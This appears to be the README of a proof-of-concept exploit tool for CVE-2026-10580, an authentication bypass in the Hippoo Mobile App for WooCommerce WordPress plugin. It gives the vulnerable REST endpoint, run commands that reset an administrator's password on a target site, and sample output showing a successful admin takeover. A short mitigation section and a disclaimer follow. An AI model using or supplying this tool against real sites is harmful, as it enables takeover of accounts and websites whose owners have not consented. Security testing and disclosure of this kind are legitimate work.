WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover

Overview

This tool is a proof-of-concept exploit for CVE-2026-10580, an authentication bypass vulnerability affecting the Hippoo Mobile App for WooCommerce WordPress plugin (versions <= 1.9.4). The vulnerability allows unauthenticated attackers to reset any user's password, including administrators, leading to full site takeover.

⚠️ Important: This tool is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.

Features

• Enumerates all WordPress users via the vulnerable REST API endpoint
• Resets the password for a specified user ID (default: admin ID 1)
• Simple command-line interface with colored output
• Option to disable SSL verification for testing environments

Usage

Prerequisites

• Python 3.6+
• requests library

Install dependencies:

pip install requests

Basic Command

python3 exploit.py -t https://target-site.com -p NewPassword123!

Options

Examples

Exploit with default admin ID (1) and SSL verification:

python3 exploit.py -t https://example.com -p PwnedCVE2026!!

Target a specific user ID and disable SSL verification:

python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k

Run without the banner:

python3 exploit.py -t https://example.com -p NewPass123 --no-banner

Sample Output

[+] Found 3 user(s)
    - User ID: 1 | Username: admin | Role: administrator
    - User ID: 2 | Username: editor_user | Role: editor
    - User ID: 3 | Username: subscriber1 | Role: subscriber

╔══════════════════════════════════════════════════════════════╗
║             ADMIN TAKEOVER SUCCESSFUL                        ║
╚══════════════════════════════════════════════════════════════╝
    Target: https://example.com
    Login: https://example.com/wp-admin
    Username: admin
    Password: PwnedCVE2026!!

Mitigation

If you are using the Hippoo plugin, update it immediately to a patched version (>1.9.4). Additionally:

• Regularly audit user accounts for unauthorized changes
• Monitor logs for unexpected API requests to /wp-json/wc-hippoo/v1/ext/wp/v2/users
• Consider restricting access to the WordPress REST API if not required

License

This project is licensed under the MIT License. See the LICENSE file for details.

Author

0xgh057r3c0n

Disclaimer

The author is not responsible for any misuse of this tool. Use responsibly and only on systems you own or have explicit permission to test.